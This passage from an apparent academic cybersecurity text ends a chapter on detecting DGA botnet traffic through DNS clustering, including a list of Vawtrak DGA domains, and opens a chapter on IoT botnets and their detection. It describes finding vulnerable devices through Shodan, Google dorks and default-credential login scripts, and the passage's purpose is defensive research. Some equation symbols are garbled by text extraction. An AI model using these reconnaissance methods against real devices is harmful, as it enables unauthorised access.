domain and removed.

■ Configuration words: domains containing certain substrings (e.g., words
related to network system and structure) are filtered out because they
represent congenital network traffic.

■ ARPA domains are filtered out, since they are only used for reverse DNS
lookup.

■ If a TLD is found in the third or higher levels, it is considered as
a misconfiguration of the web browser or of the particular application and
hence it is removed.

■ If an IP address is found in the third or following levels, it is considered as
an internal domain and it is removed.

The filtering phase removes the largest part of the initial UNRES; usually just
5–10% of the queries are not filtered out and proceed through the other steps of
the algorithm.

8.5.1.3 Outlier Detection

In order to recognize burst in the UNRES traffic, time is discretized and the number of
UNRES for each machine in each time interval is considered part of a time series,
which is described in terms of six different statistical methods:

■ deviation from the expected distribution calculated via
– Gaussian estimate
– kernel density estimate: this estimate is a non-parametric way to estimate

the probability density function of a random variable; the algorithm
allows to calculate the probability to belong to a class, taking into
consideration the density of the class around the point under analysis

■ arima model [37]: this technique is usually applied to time series data to
predict future points in the series (forecasting)

■ deviation from the expected behavior calculated on a moving window via
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– mean and standard deviation
– median and median absolute deviation
– interquartile range

Each method can be considered as a binary classifier between ordinary points and
outliers, and the results of all classifiers are combined with an ensemble classifier
based on a weighted majority rule, where the chosen weight is proportional to the
inverse of the mean number of outliers detected by that method: this means that
an alarm reported by a method that often presents alarms has a smaller relevance
compared to an alarm presented by a usually cautious method. Ensemble
classifiers have been shown to perform typically better than any single classi-
fier [38].

The identification of outliers in the distribution of the number of UNRES
hence allows to detect potentially suspicious machines.

8.5.1.4 Extraction of Resolved DNS Requests

Once the suspicious machines are detected, the extraction of the related RES is
performed. In particular, all the RES occurring in a time interval τ around the
UNRES peaks are collected. The interval τ is set to 20 seconds; this choice
represents a trade-off between the need of a large τ to compensate possible delays
in the network data collection and the necessity of a small τ in order to avoid
casual associations of RES with a cluster of UNRES.

8.5.1.5 Domain Features Extraction

The main idea of this phase is the extraction of the most relevant features of both
RES and UNRES in order to find common patterns able to characterize a specific
C&C connection. In this way, we are able to perform the subsequent clustering
phase and group together domains showing a similar pattern, therefore defining
the behavior of a particular bot.

To this purpose, we create a common feature space for RES and UNRES,
mapping into an array of numbers the linguistic peculiarities of the domains
under analysis. This process is built on the assumption that pseudo-random
domains generated by the same algorithm typically share at least some common
linguistic attributes, while legitimate domains are not generated by an algo-
rithm and, hence, should not show similarities in the domain structure.
However, it is known [17] that some modern DGAs employ English diction-
aries with little modifications; for this reason both linguistic and nonlinguistic
features have been considered.
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The extracted features are reported in the following.

Linguistic features for domains mapping

■ Number of levels in the domain
■ For the second and third levels: distance of the monograms probability distribu-

tion from the one of monograms in the English language
■ For the second and third levels: distance of the bigrams probability distribution

from the one of bigrams in the English language
■ Entropy in characters distribution of the second and third levels
■ Number of characters of the second and third levels

8.5.1.6 Clustering

Once the domain features are extracted, a k-means clustering [39] is performed
on the feature space. The number of clusters Nc is set equal to a fifth of the
number of input domains because this was found as the best trade-off between
the need of a large Nc in order to obtain highly homogeneous groups and the
need of a small Nc to avoid the spread of domains belonging to the same DGA
into many different clusters. Moreover, every cluster has an associated homo-
geneity value corresponding to the average proximity of the samples of the cluster
with the related centroid.

After creating the clusters, malicious clusters have to be recognized; they are
identified as follows:

■ Clusters formed by both RES and UNRES and where the number of
UNRES is higher than the number of RES

■ Clusters that contain only UNRES

In both cases, we assign an anomaly indicator A to each malicious cluster
proportional to its value of homogeneity. Therefore, A has minimum value
A ¼ 0 (no anomaly detected) and maximum value A ¼ 1 (maximum anomaly
detected). The two kinds of clusters contain, respectively, DGAs that eventually
contacted a C&C, and DGA attempts that did not find a C&C. Thus, A for
the second case is reduced by a corrective factor λf ail ¼ 0:8. A is hence defined by
the following equation:

A ¼ f 1� dcentroid if C & C is found
1� dcentroidð Þλfail if C & C is not found

ð8:1Þ

where dcentroid is the distance from the centroid of the related cluster.
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8.5.1.7 False Positive Removal

The anomaly indicator of each cluster is rescaled in order to reduce false positives.
The effect of this rescaling is to further decrease low values of A (usually
associated with false positives), to highlight large values of A and to enhance the
differences in the interval 0:3; 0:75½ �, which has been recognized in the training
phase as the overlapping region between the most uncertain false positives and
true positives.

8.5.2 Experimental Evaluation
The DGA detection algorithm described above was evaluated within two different
experimental designs:

■ Forty DGA snippets belonging to different malware families (including
banker trojans, ransomwares, worms) were used to inject real DGA network
traffic into an ad hoc network (malware lab, see Table 8.1). The malware
families of the DGA snippets cover all the most relevant DGA-attack
scenarios (see Table 8.2 for a complete list).
– The LAN of a real company (described in Table 8.1) was observed for

a 15-day-long experimental session.

8.5.2.1 First Experiment

The first round of experiments consisted in 40 DGA snippets belonging to different
malware families used to simulate real DGA traffic inside the malware lab, which is
described in Table 8.1. In order to simulate the successful connection to the C&C,
a technique similar to sinkholing [16,40] was used: before the injection of the traffic
generated by each snippet, a couple of the domains produced by the snippet were

Table 8.1 Network Description

Real Network Malware Lab

Number of machines 288 269

Number of clients 209 185

Average number of connections 136 k/hour 452 k/hour

Average number of UNRES 791/hour 14 k/hour

Average number of RES 59 k/hour 184 k/hour
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registered in the FakeDns of the malware lab. Each registered domain was associated
to an IP address of a honeypot running a web server.1

For each malware, Table 8.2 contains the following information:

■ Malware type
■ Domain layout, i.e., elementary components of the generated domains [18]
■ Domain length (fixed or variable)
■ Specific names of the malware; aliases of the malware names are reported in

square brackets
■ Number of clusters containing resolved DNS requests
■ Anomaly indicator A

From Table 8.2 it is possible to notice that the proposed DGA detection
framework successfully detected all the malware variants with a high anomaly
indicator. Moreover, all the malicious RES have been identified, thus giving the
possibility to detect all the active C&Cs, which were reported to the appropriate
OSINT repositories.

8.5.2.2 Second Experiment

The LAN of a real company was observed for a 15-day-long experimental session,
in order to provide a real case test of the proposed solution. We considered 21.5
millions of queries, of which 1650 are related to DGA attacks.

To evaluate the performances, we distinguished between RES and UNRES
requests: the RES case represents the riskiest situation, since the complete
domain-flux attack took place; in this case, therefore, the first concern is the
avoidance of false negatives, while some false positives might be tolerated; on the
contrary, the UNRES situation is less risky since it indicates that the potential
malware unsuccessfully tried to connect to the C&C and a higher false negative
rate might be tolerated.

Results reported a 100% detection accuracy of DGA attacks for both cases.
Moreover, during the experimental evaluation the false positive rate resulted equal
to zero for the RES case, hence allowing to completely distinguish the real attacks
from the normal traffic. Also, for the UNRES case, the false positive rate was kept
very low at 0.02%. This rate is comparable with the false positive rate obtained
by [19]; however, it is important to underline that the proposed framework has
been tested over 40 different malware families, while in [19] just two malware
variants were taken into consideration.

1 Besides the DNS registered in the experiment, other domains were resolved, revealing the presence of active
C&Cs or sinkholes.
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Besides, during the experimental session, a real domain-flux attack, including
the final contact with the C&C (RES case), has been completely detected. In fact,
the alarms associated with this detection were investigated and led to the
discovery of the activity of a banking trojan (VawTrak [41]).

From these results, we can conclude that the proposed method is able to detect
potentially infected machines in near real time and with high anomaly indicators,
while limiting the false positives at the same time.

8.5.2.3 Results and Discussion

The experimental evaluation led to the discovery of a host infected with the
Vawtrak malware. Vawtrak, also known as Neverquest, is born from Gozi,
another banking Trojan. There are two known versions of Vawtrak, v1 and v2,
which continue to be maintained and to receive updates. Vawtrak also supports
the use of additional modules, increasing its versatility and the threat it poses

Table 8.3 DGA domains related to the Vawtrak malware

agifdoc.top agifdocg.top agufdir.top alehnomsuc.top

asarwitdi.top awoflucgufs.top canefsarg.top cegafsergo.top

ciwifla.top cogefdi.top cogotducnet.top conitsuc.top

cuwufsecwet.top cuwutlecnim.top edehnumsu.top edohgimli.top

eduhwemsarw.top egatlorwe.top egifdarnot.top enatluh.top

ewefsihnutl.top fadicnifleh.top faducwim.top falehwi.top

fedurga.top felucnitdor.top fesecnit.top fiduhwomde.top

fisehwif.top fodurgutdo.top fosarge.top fosehwotd.top

fosuhgitl.top fulehwiml.top fulirwufs.top fulocgemsa.top

hanatlahgo.top hawotseh.top hewutsohgif.top higotlerwo.top

hiwafduhw.top hiwatsuh.top hogetdoc.top hogutlacwe.top

honamlecn.top huwamdahgi.top iducnofd.top ilacwatd.top

madacnuts.top malacgim.top medurne.top mesohna.top

midacwims.top modehgamlo.top modicgofdor.top mulehwa.top

musucnits.top ogefsir.top osuhnimdocg.top osuhwimso.top

owamsurw.top owetlurwoml.top ranomsuhgaf.top ronitso.top

runamdohg.top ruwetlocwem.top tadernatda.top talahwumsec.top

talocwumder.top tedihwutlac.top telurwimlu.top tesehniml.top

tiluhwomd.top tisecnemleh.top tolehnatla.top udacnofl.top

udihgotlarn.top ulacwitde.top ulahgut.top ulihnef.top

ulorwumder.top usirnit.top usuhgutsa.top uwiflecnatl.top
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once it has infected a host. The most commonly distributed modules enable
Vawtrak to steal credentials from various applications installed in the host,
provide the attackers with remote access, use the host as a proxy, steal certificates,
log the user’s keystrokes, and use webinjects.

During the experimental evaluation, Vawtrak produced 116 not resolved
requests and 54 resolved requests. Examples of domains used by the DGA are
reported in Table 8.3.

8.6 Conclusion
In this chapter, an overview of state-of-the-art DGA detection methods has been
provided. Among the number of different approaches, the analysis has been focused
on the DNS-based detection techniques. In particular, we have presented state-of-
the-art supervised or signature-based approaches and explained their possible limita-
tions; then, we have discussed the unsupervised techniques, with particular focus over
an effective DGA detection algorithm based on a single network monitoring.

The proposed approach comprises of two steps: the first step involves the detection
of a bot looking for the C&C and thus querying many automatically generated
domains. The second phase consists of the analysis of the resolved DNS requests in
the same time interval. The linguistic and semantic features of the collected unresolved
and resolved domains are then extracted in order to cluster them and identify the
specific bot. Finally, clusters are analyzed in order to reduce false positives.
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9.1 Introduction
There are a vast number of IoT devices currently in use in different forms. People are
employing the services provided by IoT devices to assist in various tasks like home
maintenance, health care, personal care, vehicular networks, and industrial manage-
ment. The amount of money spent on research and development of IoT is increasing
with tech giants venturing into the field of IoT either by directly buying IoT companies
or by funding them. Innovations that can make the life of an average person easy have
substantial commercial value. Companies are competing with one innovation better
than the other for gaining market share and profit. Today, IoT devices which were
linked with a wealthy lifestyle like Internet controlled microwave and internet-
controlled switches have become affordable and are continuing to become even more
available to all. All of these will contribute to the Gartner’s prediction that the number
of humans to online devices ratio would be 1:4 by 2020 [1].

The current explosive growth of IoT also brought some problems with it like
security and privacy issues being the primary concerns. While normal people are
using IoT devices to make their lives easier, attackers and cybercriminals are using
them for malicious purposes. Attackers are modifying their attacks to take
advantage of the massive number of IoT devices and security loopholes in them.
Loosely defined security standards for IoT devices or not fully enforcing those
security standards gives the attackers an advantage when compromising IoT
devices. The modern-day attacks have become complicated, thanks to the inclu-
sion of IoT devices and platforms in them. Massive DDOS attacks ranging over
600 gigabits per second have become common with many botnets available for
sale for the non-tech savvy. There is a need to increase the security standards for
IoT devices and to ensure that those standards are correctly enforced. Creating
awareness of changing default device passwords and closed unused ports (like
telnet) among regular users of IoT devices can also prevent part of the problem.

The rest of this chapter is organized as follows. Section 9.1 talks about the
advances of IoT systems and types of IoT devices used. Section 9.2 explains the
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reasons why IoT devices are vulnerable to attacks and different types of IoT malware
available. Section 9.3 talks about the different botnet topologies and some techniques
that are used to detect botnets. Section 9.4 talks about the proposed architecture. In
Section 9.5, the details of the experiment conducted are given. Section 9.6 describes
the data collected and results obtained from the experiment. Finally, Section 9.7
concludes this chapter and points out future research outcomes.

9.1.1 Different Types of IoT Devices and Their Scope

In this section, we will learn about the advances in the field of Internet of IoT.
IoT is currently one of the most rapidly growing technologies. IoT can be
defined as a group of smart devices collectively working to accomplish a task
using the internet. Smart devices were initially small individual devices that had
limited computing capabilities and an interface to connect or transfer data to
the internet. Some of the earliest types of smart devices that were domestically
used had sensors connected to them and could send the sensor data to
a destination via the internet or other media like Bluetooth, ZigBee, etc. The
popularity of IoT and reduced production costs for the electronic devices
bought in even more investments for IoT. This led to the invention and
applications of a variety of IoT devices.

There are a wide variety of IoT devices. We will classify them based on their
application and further classify on the differences between their sizes and shapes.

9.1.1.1 General-Purpose IoT Devices

These IoT devices are ubiquitous in our daily lives, and everyone uses them for
simple household tasks and functions. Their sizes range from small sensors to
large heating, ventilation and air conditioning (HVAC) systems.

Smart lights: These were one of the first IoT devices to become an integral part
of domestic lives. Philips Hue lights have been prominent for a few years already,
and there have been some cases where they were exploited [2].

Smart thermostats: According to a report, 33% of thermostats sold in 2014
were Wi-Fi-enabled [3], and then there is a prediction that their sale will only
increase. Google Nest is one of the top manufacturers of smart thermostats with
a significant market share. Google Nest thermostats are connected to the internet
and can be controlled remotely using an app.

Smart cameras/security cameras: Security cameras have been around for a few years,
but the recent explosion of IoT boom made it easy for anyone to install a security
camera with internet storage. Most of the cameras come with ready out-of-the-box
settings, which makes it easy for just anyone to plug and use a security camera. Google
Nest ventured into the security domain after the success of thermostats.
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Smart switches: Currently, smart switches are the most popular IoT devices. These
are getting popular among users for the purpose of conserving energy. These smart
switches are connected to the internet and can be operated using apps that come with
the switches. These are IoT devices with the least capabilities.

Other smart electronic devices with IoT capabilities: Smart televisions that
can tune in Amazon Prime videos or Netflix subscriptions and display content
are not expensive anymore. They are getting cheaper day by day. A smart
fridge that takes commands from an app and a smart coffee maker that makes
coffee when instructed over Wi-Fi or internet are not rare anymore. Many of
these devices may be already in use or will become common in the coming
future.

9.1.1.2 Special-Purpose IoT Devices

Special-purpose devices are used to achieve specific goals. These are generally
installed by professionals and are checked regularly whether they are still func-
tional or not. Like general-purpose IoT devices, special-purpose IoT devices can
also be categorized into few types based on the purpose they serve.

Medical/health-care devices: Health-care devices occupy a significant share
of IoT devices. They are mostly in the form of wearables. They started with
Fitbit and now have evolved into smartwatches. Major cellular companies like
Apple, Samsung, LG, Lenovo, etc., and watch manufacturing companies like
Fossil, Skagen, etc., have introduced smartwatches on their products list.
Although these devices come with health monitor capabilities, many features
like secure payment gateways (Apple Pay and Android pay), GPS, and cellular
functionalities have been added to them over the iterations of research and
development.

More-specialized IoT devices: While commonly used wearables like smartwatches
have some health monitoring capabilities, there are some even more specialized medical
devices like IoT pacemakers [4]. These pacemakers are connected to the internet and
can alert the doctor in case of emergency. These devices are predicted to reduce human
intervention in medical procedures by 60%.

HVAC systems: Heating, ventilation and air conditioning systems are systems
that are responsible for maintaining the temperature of space (home/office/lab) by
controlling the devices are heaters, thermostats, air conditioners, etc. HVAC
systems at home are less complicated and may have a small Raspberry device
controlling the other devices. Industrial HVAC systems have special hardware and
more processing power for controlling the other devices.

Other popular IoT devices include home assistants like Amazon Echo and
Google Home, smart locks, Raspberry Pie-enabled IoT devices for motion
tracking in security cams, blocking adware like Pi-Hole, etc.
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9.1.2 Increase in the Number of IoT Devices

There are several IoT devices specified in the previous section. Most of the IoT
devices have simple and single functions like smart lights, smart switches, etc.,
and some of them have complex functions like smart watches, HVAC systems,
etc. Companies are investing heavily in IoT research and development. IoT
technology gives companies an edge over their competitors and way to increase
their profit over less expenditure. Most organizations are looking forward to IoTs
to solve their technical problems. Chief information officers (CIOs) who can
visualize solutions and leverage IoT technology are in high demand currently in
the job market. This necessity will lead to the invention of new applications or
types of IoT devices we have.

Gartner predicted that by 2020 there would be 20 billion IoT devices connected
to the internet, and the ratio of the number of devices connected online to human
beings would be 4 to 1. These devices would vary from ubiquitous purpose
cellphones and tablets to specialized vending machines and Jet engines [1].

Many organizations are trying to bring IoT into our daily lives with
a broad spectrum of creative products. There is research going on in the
home assistance area by Google and Amazon. Apple and other mobile
manufacturing companies have invested billions in IoT research and develop-
ment. Apple is developing its home IoT app called “home kit,” which can
integrate multiple home devices and control them. Ericsson and Hewlett and
Packard are entering the IoT space with new products. Oracle bought Opower
[5], a company that makes IoT meters to track energy usage of millions of
homeowners across the United States. Microsoft bought Solair [6], a company
that analyses IoT device data. After observing a significant financial value in
IoT, all the major players are venturing into IoT with innovative IoT devices
and multiple applications.

9.2 Ease of Turning IoT Devices into Botnets
Every day, few thousands of IoT devices are being added to the Internet’s
compromised list of IoT devices and botnets. We will discuss reasons for IoT
devices being an easy target for attackers across the globe.

9.2.1 Security Shortcomings in IoT Devices

Many factors make IoT devices vulnerable to attacks. Some factors arise from
simple financial decisions taken by the manufacturer of IoT devices to save
money while some are due to the heterogeneous complexity of IoT systems. Low-
computing resources of IoT systems is also a reason for the security shortcomings
of IoT systems. Some of the most important factors are discussed subsequently.
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Lack of Quality Code: Majority of the code on most IoT devices is outdated.
They use an old code with deprecated protocols. The old protocols are proven to
be vulnerable, and yet the manufacturers do not upgrade the software used. It is
also a common practice for a manufacturer to gather different pieces of software
from different places on the internet and some parts written to patch all of that
together. Most of it is spaghetti code and is difficult to maintain unless a lot of
time and money are spent. IoT manufacturers are concerned only about profits
and do not care about the security of users [7].

Re-use of Code: Almost all of the IoT manufacturers re-use some part of code
like authentication protocols, communication protocols available freely on the
net. A specific company, A, can use the same code for all of its similar devices.
They might have even got the code for free from the internet. An attacker who
cracks one device of that company A can now gain access to all the devices of that
company. This phenomenon is called “BOBE” (break once break everywhere).
A recent example of BOBE is the famous Devil’s Ivy vulnerability. Devil’s Ivy
vulnerability is a bug in gSOAP tool kit, which is used extensively in physical
security devices like security cameras, card readers, etc. Senrio, an IoT-focused
security group, discovered the bug on one model of security cam manufactured
by Axis. The group was later able to exploit 249 models of cameras that are sold
by Axis. On further looking into the vulnerability, it was found out that the
vulnerability lies in the gSOAP code [8] used by Axis. Axis is just one of the
companies that are using gSOAP in their products. The vulnerability allows
a remote user to send up to 2 gigabytes of payload to the affected device. There
are at least 34 companies whose products have this vulnerability according to the
creator of gSOAP [9]. The gSOAP vulnerability was patched quickly, but it is
still unclear whether all the devices using vulnerable gSOAP were patched. We
may still find some security camera models without a patched gSOAP tool kit.

Lack of Security Standards or Guidelines: IoT has been popular over the last
few years, and yet there is not a proper set of security standards for the devices to
follow. This makes it easier for a manufacturer to make more profit without
adhering to security policies. Sometimes security standards can also hamper the
security of IoT devices. For example, there was a rule earlier in the United States
that medical device software should be tested before release to users. According to
the rule, a manufacturer of medical IoT equipment should test all the devices
again whenever he updates the software or patches it from vulnerabilities. This is
a huge cost factor for the manufacturer and, in most cases, they choose not to
patch the vulnerabilities that were found. Now FDA wants to make sure that all
the medical devices that can connect to the internet come with mandatory
updatable software. California is the first state that proposed the IoT cybersecur-
ity law, which is going to be effective starting January 1, 2020 [10]. Many
industry experts say this may help the current state of security in IoT devices,
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while security experts are skeptical about it. On the other end of the spectrum,
there are 19 security guidelines for IoT devices for manufacturers to follow.

Lightweight Cryptosystems: IoT devices come with limited resources for
computation. A present-day cryptography algorithm with good strength needs
more resources than that can be provided by IoT devices. As a result, IoT devices
cannot be equipped with better cryptosystems even though they are available. It is
also observed that the Bluetooth protocol that is used by most of the smart-
watches is vulnerable to man-in-the-middle (MITM) attacks. The MITM attacks
are made on Bluetooth secure simple pairing [11], and it is also observed that
Bluetooth protocol security depends on the capabilities of the device [12]. So less
powerful devices are easily vulnerable to Bluetooth attacks. There is a need for
lightweight cryptosystems that run without much computational overhead on less
powerful devices.

Heterogeneous Platforms: The heterogeneous complexity limits the IoT
ecosystems in many aspects. The IoT ecosystem is complex with devices from
different manufacturers with multiple software builds. It makes it difficult to
manage the ecosystem. We may write security software for one platform and
chances are that they might not work on devices with other platforms. Even
Orchestration and Management tools find it difficult to include all the south-
bound and northbound protocols used by IoT. A standard solution that works
for all the platforms of this diverse ecosystem is difficult and expensive to build.
A user can have multiple devices from multiple vendors and it might be difficult
for him to manage all of them from a standard app. Research is going on in some
of the fields like data storage for IoT that can be catered to all the platforms. If
there is a breakthrough in security for one platform or one protocol used in IoT
device, it might be difficult to say that most of the IoT vendors use that protocol
or platform [6].

Default Login Credentials: Most users using IoT for domestic purposes like
security cameras, internet-connected DVR players, and smart Philips Hue lights
are people without knowledge about security. Most of these devices come as plug
and play devices, and users do not bother to change the passwords once they are
up and running. This makes it easy for attackers if they can reach the device. If
the device has a public IP address, any attacker around the world can gain access
to the device using the default login provided by the manufacturer.

Lack of Monitoring: Most users of IoT devices are non-tech savvy people. They
employee IoT devices for the services the devices offer. These devices are used with
minimal or no security constraints. Even IoT devices that are deployed for industrial
purposes are only monitored if they are functioning correctly and not audited
adequately for security. Monitoring the IoT devices is not a function that comes out
of the box with the devices. To monitor the IoT devices regularly, new tools, people,
money, and time to train the personnel are required. The extra costs associated with
monitoring the IoT devices are not affordable for general users and mid-size
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companies. So, they only worry about the functionality of the device rather than the
security. This lack of monitoring makes it even easier for the attackers to compromise
and take control of an IoT device. An IoT device may be part of a botnet and does
not come under suspicion as long as it performs its functions adequately.

9.2.2 Searching for Vulnerable IoT Devices
Finding vulnerable IoT devices is relatively easier now than it was a few years ago.
Today an attacker does not have to do all the hard work and can use tools
available on the internet at their disposal. This section describes a few such tools
that have vast databases of vulnerable devices of IoT devices around the world.

SHODAN [13]: The go-to place for researchers, students, and attackers.
Shodan is a database of IoT devices on the internet. The site states this
information to serve research purposes, but there is some vital information on
the site that can do much harm when used by malicious users. The site has the
public IP address of IoT devices along with filters based on the type of devices,
password types, manufacturers, etc. For example, a user can search specifically for
webcams with default passwords. Any user can copy the address of webcams from
the results of the search and login using the default login username and password.
There are search filters to show IoT devices without passwords, IP address of
refrigerators, DVR players, etc. The Shodan database is updated daily with
thousands of devices from around the world. It also has plugins that integrate it
with pen testing frameworks like Metasploit. It is not clear on how much of the
data is used for academic purposes, but it can be the first place to visit to increase
the bot count in the botnet.

Google Hacks [14]: Google hacks or dorks are an excellent way to search for
devices with vulnerabilities online. Google dorks can be found online by searching
for Google hacking database (GHDB). The site has a search bar to search for devices
and gives a search string. The search string, when used with the Google search
engine, displays all the publicly available devices that match the query. One example
is to search for cameras by a specific manufacturer in GHDB. Paste the Google dork
(search string) given by GHDB in a google search engine and it would display IP
addresses of all the devices by that manufacturer. This google dork can be used to
find login pages of security cameras, routers and other similar devices.

ERIPP—Every Routable IP Project [15]: this is a project similar to
SHODAN, but this collects only IP addresses of routers with port forwarding
enabled on port 80. With the IP addresses of routers, the attackers can do some
information reconnaissance on the router and gain access to the network behind
the router. If the router is powerful enough, it can be turned into a bot along
with the devices in the network. Project ERIPP has 5 gigabytes of data files with
34 million active routers around the world. ERIPP scans every IP address in the
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public domain range and stores it in the database when a port forward is
identified on port 80. The project performs a scan from a hosted server and the
database will be updated daily.

The Conventional Way: The conventional way to scan for vulnerable IoT devices
is to scan every IP address and try to login into each of them. Researchers have tried
this method to scan for vulnerable Supervisory Control and Data Acquisition
(SCADA) IoT devices. A python program was used to ping all the IP address from
SHODAN database. The program would try to login to their telnet, SSH, and other
remote protocols. Banners were collected from those login pages into a database.
Once the database had banners, the python program tried to login into the device by
using default usernames and passwords corresponding to the organization, the banner
belonged. If the banner showed HP in its login page, the python script would try all
the default passwords from the official documentation on HP site for various devices.
This method was successful, and access was gained to thousands of devices [16].

These methods allow attackers to collect data easily because third-party tools
and scanners are already collecting data. Attackers can still search through old
data and get rid of outdated data such as old IP addresses quickly. The next way
to look for bots is to code the malware to scan the whole internet directly.

9.2.3 IoT Malware

Malware for IoT evolved from simple worm programs that propagate, to complex
malware that is resistant to device reboots. The following sections describe some
malware that acted as milestones to present scenario of malware.

Linux.Aidra: This is reputed to be the first known malware capable of
infecting IoT devices. A group of security researchers discovered this at ATMA.
ES [17]. This malware was discovered after an increase in telnet-based attacks
from setup boxes, DVR players, and security cameras amongst other IoT devices.
This malware was written for devices with ARM architecture running Linux
operating system. This malware was also compiled for other architectures like
MIPS, X86, etc. Once the malware infects the device via default telnet, it would
try to download all the executables for different architectures. The executable
suitable for the architecture runs correctly and will connect to the C2C server.
A new variation of this malware was found in 2014, which was capable of mining
bitcoin on the infected device [18].

Linux.Darlloz: Also known as Zollard malware. This was initially a worm to
infect using a vulnerability in PHP web servers. In the initial step, a POST request
would be sent to the web server and the vulnerable web server would download and
run the worm. This worm would then create files on the local file system and starts its
own web server, closing the already existing web server. This worm was also capable
of running on IoT architectures like MIPS, X86, ARM, PPC, etc. [19].
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Mirai: This is one of the game-changing malware in recent times. Mirai is
popular in association with the massive DDOS attacks done on websites like
krebsonsecurity.com, French hosting provider OVH and Dyn, a DNS service
provider. The DDOS attack on krebsonsecurity reached 620 Gbits per second,
while the attack on Dyn reached an alarming rate of 1.2 Terabits per second. The
author of Mirai is anna-senpai who released the source code for Mirai online on
hackforums [20]. The Mirai virus attacked IoT devices over telnet with a preset
list of 60 usernames and passwords. The Mirai malware at its peak had close to
65k infected bots in the botnet. Once a target was infected it would rigorously
scan the network it is part of. The massive network traffic was one of the major
indicators that the devices are infected by malware.

Mirai malware was termed a game changer as the author of malware hinted
towards the competition in IoT botnet domain. The author of the Mirai malware
updated it after the initial release so that it can block other IoT malware from
infecting the devices which are already infected with Mirai. Mirai malware is
known to stop an instance of qbot running and also blocks remote administration
port [21].

Anna-senpai, the author of Mirai malware, made the code for malware open
source. This led to the birth of different strains of variants of Mirai malware.
Some of the variants are even more powerful and sophisticated than the original
Mirai malware. On the post where he released the source code, Anna-senpai also
describes the setup of two servers, one for CNC and the other for a database to
run a basic version of Mirai bot. Once the bot starts running, it would scan the
whole internet for devices with open telnet. It was hardcoded in the Mirai bot to
exclude some sites like defense sites, sites from security companies like MacAfee,
Symantec, etc., from scanning. The scan would infect all the devices possible and
send the username and passwords to the database connected to CNC [22]. The
CNC is advanced enough to send commands like scans, Http flooding, etc.

Satori, a new strain of malware originated from Mirai, is also among the
popular botnets for DDOS. Satori like Mirai scanned the internet for devices, but
it was built around vulnerabilities in two devices [23]. One was the code execution
vulnerability in miniigd SOAP service in Realtek SDK, and the other was
undiscovered zero-day vulnerability in Huawei HG532e home gateway. Exploiting
a zero-day vulnerability is a new approach for botnets. There are also other variants
of Mirai just as powerful as Satori.

Hide and Seek (HNS): this is a relatively new botnet that is still in the
evolution phase. This bot was first discovered in Jan 2018 with advanced
peer-to-peer communication capabilities. This malware would try to login with
a preloaded set of default passwords and usernames. Once a device is infected, it
would look for its neighboring devices in the same network. This malware can
also set up an FTP server for other neighboring devices to download the malware.
Recent findings show that this malware is updated with a new feature, i.e., the
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ability to copy itself to the Linux boot process folder and thus respawn even after
the device is restarted. General malware gets cleared once the infected device is
restarted, but this malware stores copy if itself in/etc/init.d/and will respawn after
a device reboot. The HNS malware may be equipped with even more features for
more significant damage as it is still in the evolution phase [24].

9.3 Botnet Detection
There are different types of botnets based on their communication with the
command and control (CNC or C&C) server, mode of infection (HTTP, UDP,
etc.) and complexity. The botnet topologies and some existing methods for
detection are discussed below.

9.3.1 Botnet Topologies
This section will describe some existing and upcoming trends in botnet detec-
tion. A botnet is a network of controlled servers via a CNC server. A CNC
server is also referred to as bot master or bot herder. A CNC server can be
a single server or distributed over several servers with each server having its own
functions. The CNC sends commands to the bots (or zombies) in the botnet
and bots execute those commands. The actions of the bot depend on the
complexity of the botnet and CNC server. Bots can be used for launching
DDOS attacks, stealing user info and financial data, etc. New botnet malware is
being developed that can steal the processing power of the infected bots for
cryptocurrency mining.

Bots contact CNC servers using different approaches. Some approached can be
classified as follows:

Centralized: This is the most straightforward approach to implement in
a botnet. In this approach, all the bots have direct connections to the
CNC server. Bots using this approach can easily be stopped by taking the
CNC server, i.e., CNC serves as a single point of failure. The advantages
include low latency and easy to code and implement structure.

P2P: In a P2P approach, each bot can act as a CNC server. Once a bot
receives commands from CNC (can be its neighbor) it will execute the
commands and transmit the commands to the bots connected to it and
thus acting as CNC server. P2P botnets are difficult to stop because they
do not suffer from single point failure of CNC [20]. We need to take
down most of the infected bots to prevent the infection from spreading.
The disadvantages of this include low latency and complexity. Once there
is a significant number of botnets in the network, it is easy to discover
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because of the increased traffic between infected bots. The speed at which
the commands spread through botnet is inversely proportional to the size
of the network [25].

9.3.2 Botnet Detection Methods

To identify whether a network is infected with botnets or to know if a device is part
of a botnet, most of the techniques look at network traffic coming out from the
devices. Bots from conventional botnets use protocols like HTTP, IRC, SMB, and
P2P protocols for communication. Advanced botnets that are coded for targeted
malicious purposes like targeting other competitors, nations are capable of commu-
nicating using protocols like ICMP, FTP (P2P approach) and even UDP. So, to
detect botnets, it is crucial to analyze network traffic to identify if there is a botnet
infection in our network. Some Botnets detection methods are classified below.

Honeypot Detection Method: In this method, a honeypot is placed in the
network with architectures and operating systems like that of an IoT device. The
honeypot may be placed in the network with actual devices. When the malware
infects the honeypot mistaking it for an actual device, data is collected from
the honeypot like the incoming and outbound traffic to unidentified sites. The
network then blocks connections to all those sites from the rest of the
devices [26].

Signature-Based Detection: Like viruses and worms, malware and botnets have
signatures based on either network traffic or activity done by the infected bots.
Botnet infection can be detected as soon as the activities of infected bots are
identified by a security tool based on the signature. This approach is highly
effective only for infections from already known malware for which signatures are
already identified. A variation from the standard signature may make this
approach ineffective [27].

Anomaly-Based Detection: In anomaly-based approaches, tools or software that
can detect network traffic are employed. For example, a spike in the network
traffic or increased utilization of device resources can indicate malicious activity in
the network.

New malware come with advanced techniques that do not require a lot of
communication between bots and CNC server. The bots talk to the CNC server
rarely to check for updates or commands and are dormant most of the times. There is
no spike in network traffic in such cases. Some malware even makes use of tunneling
to open covert channels in well-known protocols. Traffic passed through covert
channels looks normal when observed from a packet sniffer and it is challenging to
identify any anomalies in it. In such cases where anomaly-based detection approaches
fail, machine learning techniques are used to compliment the anomaly-based detec-
tion tools. Security researchers and scientists are trying out various efficient algorithms
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to find out a useful machine learning model that can identify botnets. Conventional
approaches for botnet detection fail in the cases of new emerging botnets. Checking
for DNS may not be effective because the CNC server keeps on changing [28]. The
bots can generate the new CNC server based on timestamp, day, date, etc. One such
case can be seen from the CCleaner incident. A malicious copy of the CCleaner
software tool was distributed. The infected CCleaner software on an individual
machine would send information to the CNC server. The CNC server kept changing
domain names, but the infected CCleaner setup was able to generate the new CNC
based on the month using the Domain Generation Algorithm (DGA) coded in the
software [28]. There are similar scenarios where conventional approaches have failed
and researches are looking into new ways to detect modern botnets.

Use of models like support vector machine (SVM) and Hidden Markov
models (HMM) are increasing to identify malware and botnets. Autocorrelation
plots of network traffic were used to identify the patterns in bots [29]. The
patterns when applied to actual data were able to identify data from bots with
